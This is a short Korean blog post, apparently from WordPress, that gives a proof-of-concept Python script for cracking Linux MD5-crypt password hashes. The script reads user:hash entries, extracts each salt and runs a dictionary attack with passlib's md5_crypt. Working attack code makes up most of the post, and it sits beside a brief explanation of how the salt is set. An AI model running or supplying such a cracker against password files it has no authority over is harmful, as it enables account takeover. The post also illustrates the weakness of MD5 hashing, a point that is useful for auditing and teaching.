파이썬 이용한 리눅스 패스워드 크랙

MD5 해쉬 알고리즘을 사용하는 리눅스 시스템의 패스워드 CR@CK  목적으로, 파이썬용 passlib 모듈을 사용하여 POC 스트립트 작성.

SHA256를 사용한 샘플 코드는 있으나, MD5 취약성으로 인하여, MD5를 사용한 샘플코드는 찾기 힘듬. 그로인해, passlib 모듈 다큐먼트를 훑어보고 테스트하는데 은근 시간이 소요되었음.

passlib 모듈에서 제공하는  md5_crypt 클래스를 사용함에 있어서, using 메서드를 이용하여, 크랙하고자하는 패스워드의 salt 값을 지정해줘야 함. 이 부분을 찾는데 시간이 걸렸음.

# -*- coding: utf-8 -*-
“””
Spyder Editor

written by franc3sco.
“””

from passlib.hash import md5_crypt

def compare_pass(pass_hash):
fd = open(‘dic.txt’, ‘r’)
sz_salt = pass_hash.split(“$”)[2]
for word in fd.readlines():
word = word.strip(‘\n’)
sz_hashvalue = md5_crypt.using(salt=sz_salt).hash(word)

if sz_hashvalue == pass_hash:
print(” [+] Password: “+word+”\n”)
return
print(“[-] Password Not Found.\n”)
return

def main():
fd = open(‘pass.txt’, ‘r’)
for line in fd.readlines():
if “:” in line:
sz_user = line.split(‘:’)[0]
sz_pass = line.split(‘:’)[1]
print(“[*] Comparing Password For: “+ sz_user)
compare_pass(sz_pass)
else:
print(“Incorrect password file”)
exit(0)

if __name__ == “__main__”:
main()

Advertisements

답글 남기기

아래 항목을 채우거나 오른쪽 아이콘 중 하나를 클릭하여 로그 인 하세요:

WordPress.com 로고

WordPress.com의 계정을 사용하여 댓글을 남깁니다. 로그아웃 /  변경 )

Google+ photo

Google+의 계정을 사용하여 댓글을 남깁니다. 로그아웃 /  변경 )

Twitter 사진

Twitter의 계정을 사용하여 댓글을 남깁니다. 로그아웃 /  변경 )

Facebook 사진

Facebook의 계정을 사용하여 댓글을 남깁니다. 로그아웃 /  변경 )

%s에 연결하는 중

%d 블로거가 이것을 좋아합니다: